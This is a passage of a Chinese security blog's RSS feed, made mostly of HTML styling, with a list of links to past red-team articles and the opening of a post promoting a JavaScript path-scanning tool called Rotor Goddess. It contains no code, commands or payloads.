center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;chksm=ce5da3ccf92a2adab0511bd798570d967cd4b0b7d7528f2f17163f5ed77e4dd7a02ac17c39d7&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自动化‍工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="1.0810810810810811" style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" data-type="gif" data-w="37" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div><div style="max-width: 100%;box-sizing: border-box;width: 2em;overflow-wrap: break-word !important;"><p style="margin-right: auto;margin-bottom: -1em;margin-left: auto;max-width: 100%;box-sizing: border-box;width: 0px;height: 2em;border-left: 1px solid rgb(230, 230, 230);border-top-color: rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><p style="max-width: 100%;box-sizing: border-box;width: 2em;height: 0px;border-top: 1px solid rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);border-left-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div><p style="max-width: 100%;box-sizing: border-box;clear: both;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div><div style="max-width: 100%;box-sizing: border-box;width: 2em;overflow-wrap: break-word !important;"><p style="margin-right: auto;margin-bottom: -1em;margin-left: auto;max-width: 100%;box-sizing: border-box;width: 0px;height: 2em;border-left: 1px solid rgb(230, 230, 230);border-top-color: rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><p style="max-width: 100%;box-sizing: border-box;width: 2em;height: 0px;border-top: 1px solid rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);border-left-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div><p style="max-width: 100%;box-sizing: border-box;clear: both;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div><div style="max-width: 100%;box-sizing: border-box;width: 2em;overflow-wrap: break-word !important;"><p style="margin-right: auto;margin-bottom: -1em;margin-left: auto;max-width: 100%;box-sizing: border-box;width: 0px;height: 2em;border-left: 1px solid rgb(230, 230, 230);border-top-color: rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247521573">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d0f82b79&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247521573%26idx%3D1%26sn%3Db6ecc2a624134cb1d3acb7e263be0bb2">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 18 Jul 2025 17:30:00 +0800</pubDate>
    </item>
    <item>
      <title>JS扫描与漏洞挖掘利器推荐—Rotor Goddess</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247521456&amp;idx=1&amp;sn=205c24044197361741632e9f3e4f57e4</link>
      <description>转子女神，一款用于快速打点JS文件及路径扫描的单兵工具！</description>
      <content:encoded><![CDATA[<p>
<span>雪山乘客</span> <span>2025-07-12 12:01</span> <span style="display: inline-block;">北京</span>
</p>

<p>转子女神，一款用于快速打点JS文件及路径扫描的单兵工具！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7e16daf5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5iaRyrlMZcJ2WaZ27ROvvured4nMH2uhGptJqYQBn2HjZz9Sz81gWjicw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">工具介绍</span></span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="color: rgb(0, 0, 0);">在网络安全领域，信息收集与漏洞挖掘如同在黑暗中寻找潜藏的危险，传统工具常因速度迟缓、路径挖掘局限、分析过程繁琐，令安全从业者举步维艰。而一款名为 “转子女神” 的创新工具，正凭借其独特优势，为该领域带来新的曙光。</span></span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Github地址 ：</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://github.com/Snow-Mountain-Passengers/Rotor-Goddess" target="_blank">https://github.com/Snow-Mountain-Passengers/Rotor-Goddess</a></span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">功能简介</span></span><span style="display: none;"></span></h2><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;font-weight: normal;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">智能路径勘探</span></strong><span leaf="">：通过精准的正则匹配，快速扫描并提取网页中的敏感路径和接口，自动拼接动态变量（如“/” + x + “/user/admin”），确保数据全面且准确。</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037791" alt="AI赋能的JS扫描与漏洞挖掘神器|漏洞探测" class="rich_pages wxw-img" data-ratio="0.487962962962963" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: 